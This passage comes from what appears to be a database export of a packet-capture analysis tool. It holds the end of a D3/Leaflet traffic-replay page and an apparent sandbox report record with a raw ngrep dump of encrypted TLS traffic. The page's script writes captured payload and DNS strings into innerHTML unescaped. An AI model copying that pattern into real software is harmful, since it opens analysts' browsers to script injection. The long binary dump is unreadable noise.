g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a2ebbfbae36b72c92a10932"},"sha256":"81b29996dc471e6437e81cd02f6b22c189b35c2ab075a009dec089c34e5117de","timestamp":{"$date":"2026-06-14T20:04:35.700Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_u0tvs7mj.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:63945 -> 2.23.89.83:443 [AP] #4\n...........j/...^/..........2.....a...h......&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...b.........assets.adobedtm.com..........\n...............................................#...........\n##\nT 2.23.89.83:443 -> 10.152.152.11:63945 [AP] #6\n....I...E........yx..zOU.|...0U.FQ.DOWNGRD...,.....................#.........................0...0.............vM.u{..? @...0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...250624000000Z..260725235959Z0h1.0...U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe Inc.1.0...U....assets.adobedtm.com0Y0...*.H.=....*.H.=....B..J....9u....o..7...g.?.n...I..[...5F....S..r...1Q.G.sSLQ;..$c...@...=0..90...U.#..0...t...f..7...)7.......0...U..........gK.c.\\.F....r.V.0....U.....0....assets.adobedtm.com..cdn1-staging.adoberesources.net..assets.adoberesources.net.!assets-staging.adoberesources.net..cdn1.adoberesources.net..commerce.adobedtm.com..magento-recs-sdk.adobe.net0>..U. .70503..g.....0)0'..+.........http://www.digicert.com/CPS0...U...........0...U.%..0...+.........+.......0....U.....0..0H.F.D.Bhttp://crl3.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0H.F.D.Bhttp://crl4.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crl0....+........{0y0$..+.....0...http://ocsp.digicert.com0Q..+.....0..Ehttp://cacerts.digicert.com/DigiCertGlobalG2TLSRSASHA2562020CA1-1.crt0...U.......0.0..~.\n+.....y......n...j.h.v..m}....w..._......3Ze....s....iw.....Vwm.....G0E.!..........a?z...p.....\"\"_(\\..@..... OL...*V?.....J>.&V..G...D.#b.x...w..1~WE..E..8...A...!Z\"\".....v...R......Vw......H0F.!.......R}..CW.Y....g...k.......{..!...._.7....h..Hg...Sd...y.D.TU8s..u..NC........$&..e..._8..?rg}U7........Vw......F0D. F...9.p..q.$....e........*....Z.. .`..l..._...!.h.,\"\".N.*.7J......,0...*.H..............h(l....._....T>..c.j.p..../..F9.-.k2...@.....Pk....?.Y\n..5m.....,.............-..1.o....L....D.n.(.R..Gz5.,)..m.m........4......0.M1.......++\\.\"\".#.......`Y.=5.}.,..T.EZ.......g..r...'....V.Q...._.<k~....D/.('g7..&xi..!. .+|?&o...Y.k..3=... .....%[.bFo.U.....0...0..............+V..z.P,#..f0...*.H........0a1.0...U....US1.0...U.\n..DigiCert Inc1.0...U....www.digicert.com1 0...U....DigiCert Global Root G20...210330000000Z..310329235959Z0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10..\"\"0...*.H.............0..\n........bO..co..RV.m'{z.V............`A.p....'\n.W8[}.Q.q..jA.[5..{....$0.V...}.....M.......\"\".1\"\".ai.&.x....}f.uD.s....]\n.YC...:..H..k7.c..F..E.}#...Q..Q._.IFT.,.......<...9.i.2...WL.GB|...}..MT.B.....w..H....*...Cp.?vk.LI.$^....F..l..bRBu....^^..a........=...Gi..........0..~0...U.......0.......0...U......t...f..7...)7.......0...U.#..0...N\"\"T ....n..........90...U...........0...U.%..0...+.........+.......0v..+........j0h0$..+.....0...http://ocsp.digicert.com0@..+.....0..4http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0B..U...;0907.5.3.1http://crl3.digicert.com/DigiCertGlobalRootG2.crl0=..U. .6040...`.H...l..0...g....0...g.....0...g.....0...g.....0...*.H...............p.(.i.|t...&{S...e.......ZC..MLV_..... .Y..J..*......J;...o.).0?$....{..,..kv3..UR.Y..............r..._....2u...X.W1~7...fm)..f.m.n..../...\\Vd..}..8S..]Fm\\.'...~....R....7|*..UZ8r.....Ls..75.).i.v...{.....g...Z!....?......Y.#.$*.%L........t..m.......@................0...\n......0.....+.....0......0...0......t...f..7...)7.........20260613120114Z0s0q0I0...+.............[.X....:.i.oH....t...f..7...)7............vM.u{..? @.......20260613114500Z....20260620104500Z0...*.H.............. =s.li-....0.R.=...fi}.>.?.......c.o........R.....Qq......T.Am.2.8.f.....^...O.......h..V......C/.-......0.$..qc........8.....8.=..D.i..a.C....,......1z....M_..8O.........g.......2.!+A....qy;...Hxu....(...J...G..\"\"H q5:P.S...v.l<.f.<..8..bU...S.S.&3...ZI.^............A.KZ....<..kT.r.?.f...I.!.R.1l..........K......t..~....4y........+...H0F.!....bJ...)c.3/X....).E..$..J4...j.!..A.8d.B......4[xD......Emi..q*...........\n##\nT 10.152.152.11:63945 -> 2.23.89.83:443 [AP] #8\n....F...BA.GU6 ...r...MF......T.E$.....|.w..N&..1.]...D.n.j.9.x.33....^\n2............(........(.../Y.8.j.>..KL........-Y.w.6.w\n##\nT 2.23.89.83:443 -> 10.152.152.11:63945 [AP] #10\n...........D.......G...b;._.;.wz.....8<a...,..m{;.R:.G..x>\\..*.].KZ...!.......N..U..*...o.{2......p.;9C.l..G.`A.W..<.....V...$V.'Y..[0..|.........I.V..z..M........}t..'.>..9L.F..R.50.v....^.Y.. . ..(*H.....$...`.....v#.q]j...........(.&m./.WZ..,....\n....1;..R..i\\..C.......S\n#\nT 10.152.152.11:63945 -> 2.23.89.83:443 [AP] #11\n.............K.../...h.r...h...W..3.)....5..2..UC....]d........NyNT......t.......-..d..3p..w....RSe.........P...F.Z....w...R....C7p.M...|..}........|I^.....1j..A+..C....JO.Kl.p...)....*....$...]F.N..\n.....\"\".K.w.d..........#.....G`-K]..\"\".*(O_(:.2.b....F.Ti....S........e....... H.P.t.<L]A>..........`.Fe.@..1...Og.r..J...ZW...............'.n.C..UOL.i.......\n.K......xK.d..*Z.7..^...X......U.[...7.i\"\"*\n.\n....r...V........C...?n...'`......P.p..[.U.N...A.H_|N5.N...7...06.T.W}....v.A....$O.p..vU.;..\n##\nT 2.23.89.83:443 -> 10.152.152.11:63945 [AP] #13\n......&m./.W[v........\"\"..Q\n....<...O....v.8.D).8A.^...6..s..s.9..iMs......z..6..C<Ew`F.....hZ....N8..Xl&..G.?.....:.E..:.o.\\.(....\nn..K..#..k.....XF.Fk...Q..t.b.xf..I.C..x.....1.$S........hE.{..p.Z..........y..Cw.jG'9,...C.1 ..{.FM......W>.D.t....!..nt)w.I....z.._N}8...a.#..]{]...[|e.I..H.....[K)....V.i.}.1...zJ..E[........J.,...Oz....GH....ju.XD.Q.\\.B.z .|..L.K)r.(g.9W....HV...Bh4.R..3?4.)..N.._..#...Fw`....7........3Y.BU.V...v.....L%...F..x{m..[.ql..%.....*/....1f....1..^......s....1......A.. ^...xO......aj;SV.(..v.[=_Mw.......}V..Q\\.=F...i.'...*.7.Q..........%h.UVa.....p...m...{.Z..........At...i.f...TB...4...*!.0.j...M..Y......>...I.?.+...Yf.L..(......f.....6`&... ..YO.n.$.jD.tunLVI.y.rc........;..X......U...Q.I.r(0>..9..d..T.....0..r...k.0.v...........x........+..>=..Bl.......[..k......D.;%(......v$.~J.1.\"\"T.NQ.m....H.... ..,.\n....^..u..e..yy<....<..|.:....s.....<.O_.E.......{........S..... ..K....s....U.5....S........vH...X..`.0rl..x...|Th.rzj...+........'.........>x<.g_%.....K...l..ah5\"\"....G......O..t.....:/.2C..9.c....D.,C..P......P.)....b...=..Ey<..$@.x.5f|... ^{As......O.....K...Y{...D.....V..4'....h...|<c.vkyC.Q.[B.......H..U.USZ3.i.-7;K\n#.......k...:...~.C.yi.*..0.^9...V..)..l...}...{..A.5...%kjM .i....g.......u....z...O9.........1.f........9...\\.....o...[Y.v..n...............N.!.3..j6...>.P..L.`...I.....AB.1.....=T68._......Ba....j\"\"!X....\\..J..X.?....i...N....b.......!.k.w........)..C../..N....m....O+d.w.;....1W...M....f!).7H@x....D..8)N...gj.j...5C..... %.1Ftd.q)...*'.E.....}..}........?.l.:k.....<.....$..\\<1.U../......n.N.[J.7...pq..;.....%......\"\"..B..#\\..........Y.\\.o+H.......K.%S\\.-.6......D.....;Ij&0.`.l.......0../`.........\"\"!..Z....s.....y.......f.#..~......N...~..q..W$..0x.%\\........(...1.U!........M..#?S...j_l.R...m|..Mh_.|1..O.Knb^c..>.t....r.g*T..c0.X.....c..../..)......-\np..\"\"...Wo.rx.r...S.....`...-..g.zw.F..~s..fO.9R....qK....C.0.q..b..hJ..4.-...I...L...u.,.5./.......W..y..g..;g...8....K.l..b.eG.a.q........./....8....H..(0Q.H8lC.?%.|ke3..+........|.+...v..|6.....t..3.#7.........S....^V.uLI.keYo0..6x$V\"\"N./8..\nu......y.1?l....N...z]..!0........o.V..hk.QIJv.,..2.$.=.q..U.^...;o!..>E\\`$.X9.E.z.(.Wc....r@....Ww....y....eHO|..c.|.:Z....o....2.Xhp'.w.JL.C...m&.4.h_...0!....z_.M..l`..\\.........]I.Cqh..=..K.'..;.....>.{P.o....f.D....5P...a..n.a^.M!>.3iM.u...A.Z,L.....tA..y>.Ez.....z.;.H.;......[....I.Y.>P...?..B.EEy.s..U.J..._?.az..f,..+.o...E...2.6-.>W<..1l)P.\"\".`..W..Q.t`.....9.....2UG...........+....S...Pm...`.H...+.....LY.$......N4...tk~..\\.F>.....SK......GE.. 4b9G.;.....\n...z.LqR....p.d.(.....4....]....;.hg..3.]T..G..,...._R..b...M......C...H=\\z..|?.+...p...s..z.......@..!._...9.$6.H%6j^9..G^4....5.[2....b.0o.v%.<.....y.3t!w...U'v|......#.I.....|..U..2Y....M..@.=JE.Q\\..$H..q..&...0..K...].....3.........#o.*.....>*....UNu..Ik..F.......y........xt.....x*. .7..X.?8Ci.........g.~......my^x.u....(|)s.{.....T\\Nn...A...>..N.A.......f..&.......Q'X..1..y.........v.-g...3Vk.k.u}Pq..X..e..........q.c.Z/.o.....P*.8'..Iv.g..N.Vv2Mu...E$.{9..8&z...vz..p.2..P%y.h.][..q_....~C%.Cp?t]...w...........o>a|.25m.\"\".........ey.2..H5..vP.C.[....M}R.=.Ne......0o..i....>N._.!.K.....L.....V....c.....d......J..I&Z.\n..;...5v....Y....A.B.\\..r.f.QT...E.P.l@K?@..p...N..t4.&c?~...y...:.W~...#..$..?.V....Dp..`.)T.Pb..g4p.N..,.1`|.r./?.>.....o$a4j..X.Z......_.......m.L.....7sb..1Z.QD...E.\n.......f&..@.3.........Q.Rh.#......k.W.x.<o..74..;g...s..p.0B.;.g......P-.\n...-..y.\n##\nT 2.23.89.83:443 -> 10.152.152.11:63945 [AP] #15\n.....|..z]{..i....ya..T&;...C.eV..\\......?....h.Pp..u.....I....'.4c.......1..).;Lpj...........|q/X%..H.T...k._,..+......tE.......l_C......Fb..\n....1.\n:..K.E.V&H.q.`C....9.......s.\"\".ft..W..G..}TT\"\"rn.O*.:.x......M2.......@..H.../.$.14..Nk|C.c..T..%..`z...%..6B.C...4......3+..*.g`.*r5a/....pA1kP.s......pe..H.]8.n..KE|F.^,.`.KY.*....\n5.M..s(.d.O.x...l...|.`..$........M...~.z.{..ulI...iwP7.......`U..S?.m$...67A.s..bb^Q....*.y...sF...J..|.$..j9....X;.e.(....i(....q.Q.K....\\.#.w&x.t...fk.*t<..q\\....$1.u..SL..{<.,.`.uM.T...-.......Lr..g....`T '..m....Q....u..ma.....y..j.C....S.(0x...1.....E...........>P.>.%Z...;.aE...V..sT...F..'....v<d....H8C..b..\\.f${...V.om}`3....$.sEQ...bh....{....?9..r...d..7Xd..(..8..5........)..k..\"\"Y.........)3C.1qY..B.s.........d..u.l..U.c..Dn.0..<.=um......k.2.\\...Or?..<.......t.........`>.......>P%...,..D*.z6..c...8...=...^D....)..x0N..........)>2..`mw<..JSaX3.z..A.4.....C..w....<.=.\\G.h..5.%.b.......v-&......6z.............Zp.+6.....8..TQQQ...Zzz.+.\"\"D.q..u*.......#...{.....4.lW.N9...aF..0..[.......T....+..SI.|WOC.r.:.<.^..k!].3f....L....J..Kbk'T.V..k.I.U....KwP..e.........E.)............~..x.....p..|.`...x:..-..+^.y..4K{.b....W.1.....WQ.W.....\"\"h.dY.J...5...O....h...Yz0....a?~..tR&..1v56g.S...'.......&..Qy.....f....A....-Y9#..C..'k.q..v-n....B.....&-Yz.B.......\n..m.Q.Fb^...].&......g^..=C,A.n....).F..t.w.:]AsH.?am......1){2qj......c.yF.^...)th'i.\n.$.....\nI....f.._p-..I.O..wm...n.M.g.E .fgE<..A.Ez..x.=&.....8R.g.......A*.u.......[i...........5..X...w...YD.qB....c..#..}...a.%....2NW...R..........<.Ce.F...8h1.R.@......n......cp..#..G9...=R....|.q3.g..mR....X8.gYm.h....d8....4..A.w@7Bd...7...Jg....g.J^.(m......g,^I.sd.......]....;.j8.......[.......n...d..2{I..)\"\"....\"\"Bf. ..iQ..p#..]..gR.........{*$^....FO.X.r.4..K...I...7L.J.I.p.J.........&.0.....^(...(......*.1m..0.C..D.)`.....S..&9.i.Ik{..X...w.!].k..,......_...e.j..>R..`.\nz\\s).J.<....[r.........u....4|.\n....&..|.99.{..s.............-.........vl.:.)........f..Vts....e..K...G.#t.TaTr....Ea.....50.e...H..8Yf...1..Z.\nW.....XVM..K;z...].5.^|.)....G .x?....\"\"......gq.|c....C....R4pf.r..J..6..Pc;.`..3!.:.........%:.4fZ...N.K...c.N.B'.Fcu6....x..T.....xo......8`pi..T...Xu&.....;...}`.......-..g..#d.....d.. .H.+V.$R.....A.......wUU......9..t....\"\".>27....j>.9S.I...{t*\\XR..E..s.q..-3.z...Pk...Iz...0.LQ..>z..O..|..L..^.D=w.A:V....a.J..`..[..m9..M.^'..e<.....A@E...4...[..../~.......8.'*n...ub..)y..(.8.\n.......j/....=..}./..........a...FQ.....E...'...C<D...Y.b.4E..g!` ..AfG~T....+...d$.H0.... *...c...#.Ni.?....-SiPA..l_.*.\"\"H.X?.ag..j.a.md....Qf]B.>K.../..+.\\..).F.....@.Ns!....]...l.=7F......,.)Ay.~........._..>.....;f..\n...R.....=\nYxd.:.......$.cG..,c/?.....O.\\B.\n.1aa.P..s......P......+...4..&.C^.E.a...5T,.........\"\".....T...?.,.....>..p..r....2...e.....e..'....VD.dSi..o..x..K..S...^..d.7&.x...v..f.1->..H......Ts[.67.....w+?.bjp\"\"...W.......K......f.x.+g.y.R.x...W........(...z.....WB...+R.ST..J.P...-WK..=.......;'.W.......w....B.....|...[^....f...W.lF...m....\"\"C9.&9.<bu.QhFv.....2...?.)..\"\"M....xw.n.g...7. .m\\..?..G1P...G.~Q.+N...r{.V..OT.E]W.......@.P.T.mg...Q\n..Y...x^.\"\".n.aJ..F).6p...RE..+<..L..\\M....W..Ys..n.C..U.........y(...9.S1.iJ.wW.yw=.........../r....W.;*.:.....<...0|..F.~...?L..||.....]...._.\n..Y\\......p-...F...S...S.m...)......Y.D@..:.z]^k..{..8..........paz..U..v..... .....:..x.F._.^.ey...}ENb.....}...X).XV.M.F.oHO.+(..S'....}...K.>.AA..d.0,..Jo.......mJ...H.VT...P+........O.....(.;..X.......<........~..V~ .E...[.o.q..b....o.e.....p..&.@....?.h.q.....y).$.\\..c0.R.]..1:..R.J.q.m.&z...QT.0[.2..9..@.(........n..y*....v..T.o...O.#..B.y8Le......,K....?Nny.x...........?........43.^.I.h.!/}...a._.fK..........5..a..B....HN....}.%.q.V.h....q....x..Y..Q.%5.9....2n.+.r.OdH.0..gOw.i.;..P.D.;'..*..@...,cKq.pGd.1..J....B.....rra......u.t;....i\\.....A.'......p.u2.o......Pm...HC.y..|G..D...d....\n......u......0yY....J....:........m...K..jY..{.O..V........ >8.f...)J..<.p./..)../.....oyn..e4#..,q......j..../.]@7..M..\"\"./..;..{.I\"\"......nL...\n.`[.....c..#(...........b...j...q.(}To........:.....@.3.9...N.fO~.&....M*...;.Ix..6..&..p..)(.\n##\nT 2.23.89.83:443 -> 10.152.152.11:63945 [AP] #17\n ..KK...U.K$......X.;..ei.YS3..3..p'..e.4`_^T.:W..4'...i\"\"... .E..........3.<.&.!..w{SCX...?.=]s...6L=...........G.[.I....vy..\\..jD._.p.X...%....4|]..[.D..J...eC.....~..Y....... .|......l......}_..m.......n..>E.jvY.....X..q.......!..q&U..,........vJU..!........C...>.bWe#[\n.....0..t.......P.wf...F5....\"\"$. .......)Fk...../.t......&....i,.^.},..\"\"....$.........h.F..='..3<r...al..E....8S.(=*..B....j..\\..>.7....l....bt.......D..F7.E...$..Z.I7#..X.6.kB...*..#.*^.[i..%..3.'#lV..v..<..*...%.m.XDp.6.w..{.Wx.p..........v..Jlc..L...g`..DQ_..|......r.%.>..3^.z..... .f..2!S..#...<..A.YVOT=z.YV...X...DOAI\nl......(....(....IR.P.....$#J8...'Ot\n##\nT 10.152.152.11:63945 -> 2.23.89.83:443 [AP] #19\n....y..........2. .%......T?`.F[.o.....V...C/L.Qg/l.ySZj..6.......s.66.F.....q;..w.q..W.|.c..G:G*......F_.....c.fm.........1FWI;t.E38....j7.8...q.$.r..0...K.p..R.+.R..Y%...:BIv.f.F....~...IHe...m.Y..x.\n.W.mc..#v.'.g..{....h..\\HY..3+,o...WM2..*..8...6M.G.lPd....X......^..]..v...(.........uBhF..P...#...G.w=9..R..Y%..........i2....N.J.%...W*s...;_.-.......(@..|...k.`.SQD.4.!%.]..5.P\n#####\nT 10.152.152.11:63964 -> 132.245.230.33:443 [AP] #24\n...........j/......F...P.....a;....4=a.l.P...&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...s.........outlook.office.com..........\n...............................................#.........h2.http/1.1.........\n##\nT 2.23.89.83:443 -> 10.152.152.11:63945 [AP] #26\n....t.&m./.W\\..!Bvh....7.<..<.^.9..\\.i\"\"$..]...L...Q3n.a.9.n..4..V.v6.v.5o...]z..W.r....6...@.?..]...._......dDM>.v....y..AF...}....i.e.KGv.._\n.>p..#....+.D....2~..........W..iYu2L..........H..e..\n.v.....LS|.......Hz.........m6~....3...h.....U...2.(R....1.j...(E.JN79=..:..25..Ux 